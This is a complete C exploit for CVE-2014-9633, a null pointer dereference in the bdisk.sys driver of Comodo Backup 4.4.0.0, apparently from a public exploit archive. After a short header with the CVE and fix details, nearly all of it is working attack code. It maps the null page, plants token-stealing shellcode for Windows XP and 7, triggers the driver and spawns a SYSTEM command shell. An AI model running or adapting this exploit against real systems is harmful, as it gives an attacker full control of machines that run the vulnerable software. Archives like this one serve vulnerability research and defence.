Comodo Backup 4.4.0.0 - NULL Pointer Dereference EOP

/*

Exploit Title - Comodo Backup Null Pointer Dereference Privilege Escalation

Date - 23rd January 2015

Discovered by - Parvez Anwar (@parvezghh)

Vendor Homepage - https://www.comodo.com

Tested Version - 4.4.0.0

Driver Version - 1.0.0.957 - bdisk.sys

Tested on OS - 32bit Windows XP SP3 and Windows 7 SP1

OSVDB - http://www.osvdb.org/show/osvdb/112828

CVE ID - CVE-2014-9633

Vendor fix url   - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html

Fixed version - 4.4.1.23

Fixed Driver Ver - 1.0.0.972

Note

----

Does not cleanly exit, had to use some leave instructions to get the command

prompt. If you know of a better way please do let me know.

Below in from Windows XP in IofCallDriver function.

eax = 12h

804e37fe 8b7108 mov esi,dword ptr [ecx+8] <- control the null page as ecx = 00000000

804e3801 52 push edx

804e3802 51 push ecx

804e3803 ff548638 call dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090

804e3807 5e pop esi

804e3808 c3 ret

esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null

*/

#include <stdio.h>

#include <windows.h>

#define BUFSIZE 4096

typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(

IN HANDLE ProcessHandle,

IN OUT PVOID *BaseAddress,

IN ULONG ZeroBits,

IN OUT PULONG RegionSize,

IN ULONG AllocationType,

IN ULONG Protect);

// Windows XP SP3

#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct

#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct

#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct

#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct

// Windows 7 SP1

#define W7_KPROCESS 0x50 // Offset to _KPROCESS from a _ETHREAD struct

#define W7_TOKEN 0xf8 // Offset to TOKEN from the _EPROCESS struct

#define W7_UPID 0xb4 // Offset to UniqueProcessId FROM the _EPROCESS struct

#define W7_APLINKS 0xb8 // Offset to ActiveProcessLinks _EPROCESS struct

BYTE token_steal_xp[] =

{

0x52, // push edx Save edx on the stack

0x53, // push ebx Save ebx on the stack

0x33,0xc0, // xor eax, eax eax = 0

0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD

0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS

0x8b,0xc8, // mov ecx, eax

0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN

0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks

0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks

0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)

0x75,0xe8, // jne ----

0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX

0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX

0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS

0x5b, // pop ebx Restores ebx

0x5a, // pop edx Restores edx

0xc9, // leave

0xc3 // ret

};

BYTE token_steal_w7[] =

{

0x52, // push edx Save edx on the stack

0x53, // push ebx Save ebx on the stack

0x33,0xc0, // xor eax, eax eax = 0

0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD

0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS

0x8b,0xc8, // mov ecx, eax

0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN] Retrieves TOKEN

0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks

0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks

0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+W7_UPID], 4 | Compares UniqueProcessId with 4 (System Process)

0x75,0xe8, // jne ----

0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN] Retrieves TOKEN and stores on EDX

0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX

0x89,0x90,W7_TOKEN,0x00,0x00,0x00, // mov [eax+W7_TOKEN], edx Overwrites the TOKEN for the current KPROCESS

0x5b, // pop ebx Restores ebx

0x5a, // pop edx Restores edx

0xc9, // leave

0xc3 // ret

};

BYTE ESInull[] = "\x00\x00\x00\x00";

BYTE RETaddr[] = "\x90\x00\x00\x00";

int GetWindowsVersion()

{

int v = 0;

DWORD version = 0, minVersion = 0, majVersion = 0;

version = GetVersion();

minVersion = (DWORD)(HIBYTE(LOWORD(version)));

majVersion = (DWORD)(LOBYTE(LOWORD(version)));

if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;

if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";

return v;

}

void spawnShell()

{

STARTUPINFOA si;

PROCESS_INFORMATION pi;

ZeroMemory(&pi, sizeof(pi));

ZeroMemory(&si, sizeof(si));

si.cb = sizeof(si);

si.dwFlags = STARTF_USESHOWWINDOW;

si.wShowWindow = SW_SHOWNORMAL;

if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))

{

printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());

return;

}

CloseHandle(pi.hThread);

CloseHandle(pi.hProcess);

}

int main(int argc, char *argv[])

{

_NtAllocateVirtualMemory NtAllocateVirtualMemory;

NTSTATUS allocstatus;

LPVOID base_addr = (LPVOID)0x00000001;

DWORD written;

int rwresult;

int size = BUFSIZE;

HANDLE hDevice;

unsigned char buffer[BUFSIZE];

unsigned char devhandle[MAX_PATH];

printf("-------------------------------------------------------------------------------\n");

printf(" COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit \n");

printf(" Tested on Windows XP SP3/Windows 7 SP1 (32bit) \n");

printf("-------------------------------------------------------------------------------\n\n");

sprintf(devhandle, "\\\\.\\%s", "bdisk");

NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");

if (!NtAllocateVirtualMemory)

{

printf("[-] Unable to resolve NtAllocateVirtualMemory\n");

return -1;

}

printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);

printf("[+] Allocating memory at [0x%p]\n", base_addr);

allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (allocstatus)

{

printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);

printf("Error : %d\n", GetLastError());

return -1;

}

printf("[+] NtAllocateVirtualMemory successful\n");

memset(buffer, 0x90, BUFSIZE);

memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);

memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);

if (GetWindowsVersion() == 1)

{

printf("[i] Running Windows XP\n");

memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));

printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

}

else if (GetWindowsVersion() == 2)

{

printf("[i] Running Windows 7\n");

memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));

printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));

}

else if (GetWindowsVersion() == 0)

{

printf("[i] Exploit not supported on this OS\n\n");

return -1;

}

rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);

if (rwresult == 0)

{

printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());

return -1;

}

printf("[+] WriteProcessMemory %d bytes written\n", written);

printf("[~] Press any key to Exploit . . .\n");

getch();

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE)

{

printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());

return -1;

}

else

{

printf("[+] Open %s device successful\n", devhandle);

}

CloseHandle(hDevice);

printf("[+] Spawning SYSTEM Shell\n");

spawnShell();

return 0;

}